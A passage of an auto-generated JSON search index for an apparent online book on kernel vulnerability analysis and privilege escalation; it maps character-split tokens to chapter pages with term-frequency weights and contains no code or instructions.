},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"(":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"b":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}}}},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"n":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"+":{"docs":{},"+":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"s":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"x":{"docs":{},"y":{"docs":{},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}},"o":{"docs":{},"v":{"docs":{},"f":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"r":{"docs":{},"i":{"docs":{},"g":{"docs":{},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"s":{"docs":{},".":{"docs":{},"r":{"docs":{},"b":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}},".":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{},".":{"docs":{},"s":{"docs":{},"e":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"p":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"f":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"[":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.050434782608695654},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.019011406844106463}},"*":{"docs":{},"]":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.013307984790874524},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.006720806496779613}}}},"l":{"docs":{},"i":{"docs":{},"b":{"docs":{},"p":{"docs":{},"y":{"docs":{},"t":{"docs":{},"h":{"docs":{},"o":{"docs":{},"n":{"2":{"docs":{},".":{"7":{"docs":{},".":{"docs":{},"s":{"docs":{},"o":{"docs":{},".":{"1":{"docs":{},".":{"0":{"docs":{},"]":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"docs":{}}},"docs":{}}}}}},"docs":{}}},"docs":{}}}}}}}}}},".":{"docs":{},".":{"docs":{},".":{"docs":{},"]":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.016833095577746076},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.00504060487258471}}}}}},"g":{"docs":{},"s":{"docs":{},"]":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"m":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.035942028985507246},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.014265335235378032}}},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"4":{"docs":{},"e":{"4":{"8":{"6":{"5":{"2":{"8":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}},"+":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.006720806496779613}}}}},"`":{"docs":{},"g":{"docs":{},"e":{"docs":{},"f":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"'":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"b":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}}},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"n":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754}}}}},"i":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"g":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"n":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"h":{"docs":{},"a":{"docs":{},"v":{"docs":{},"i":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"t":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}}}}},"w":{"docs":{},"e":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"c":{"docs":{},"a":{"docs":{},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"o":{"docs":{},"m":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}},"e":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088}}},"=":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}},"r":{"docs":{},"e":{"docs":{},"l":{"docs":{},"w":{"docs":{},"i":{"docs":{},"t":{"docs":{},"h":{"docs":{},"d":{"docs":{},"e":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}},"k":{"docs":{},"_":{"docs":{},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"o":{"docs":{},"m":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"d":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"l":{"docs":{},"y":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}},"e":{"docs":{},"a":{"docs":{},"k":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"p":{"docs":{},"o":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}}}}}}}}}},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},"/":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{},".":{"docs":{},"s":{"docs":{},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},"=":{"docs":{},".":{"docs":{},".":{"docs":{},"/":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"t":{"docs":{},"o":{"docs":{},"o":{"docs":{},"l":{"docs":{},"s":{"docs":{},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"=":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{},"/":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}},"n":{"docs":{},"d":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"f":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"f":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"g":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.019230769230769232},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"s":{"docs":{},"/":{"docs":{},"q":{"docs":{},"y":{"docs":{},"x":{"docs":{},"d":{"docs":{},"g":{"docs":{},"u":{"docs":{},"h":{"docs":{},"a":{"docs":{},"f":{"5":{"0":{"docs":{},"/":{"docs":{},"e":{"docs":{},"l":{"docs":{},"g":{"docs":{},"k":{"docs":{},"c":{"docs":{},"w":{"docs":{},"k":{"9":{"docs":{},"a":{"docs":{},"q":{"docs":{},"a":{"docs":{},"j":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"docs":{}}}}}}}},"g":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}},"docs":{}},"docs":{}}}}}}}}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175}}},"g":{"docs":{},"i":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.00463768115942029}}}}},"t":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"s":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"v":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}}},"l":{"docs":{},"a":{"docs":{},"n":{"docs":{},"c":{"docs":{},"e":{"docs":{},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"t":{"docs":{},"y":{"docs":{},"_":{"docs":{},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},"s":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"i":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"i":{"docs":{},"o":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"n":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"r":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.009615384615384616},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.025}},":":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},"_":{"docs":{},"u":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"(":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"+":{"0":{"docs":{},"x":{"4":{"8":{"docs":{},"a":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"0":{"1":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},"l":{"docs":{},"o":{"docs":{},"o":{"docs":{},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}}}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"l":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"+":{"0":{"docs":{},"x":{"4":{"docs":{},"c":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"docs":{},"c":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}},"docs":{}}},"docs":{}}}},"docs":{}}},"docs":{}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.003138373751783167},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.015406562054208274},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.01008120974516942}},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"r":{"docs":{},"e":{"docs":{},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"e":{"docs":{},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},",":{"docs":{"c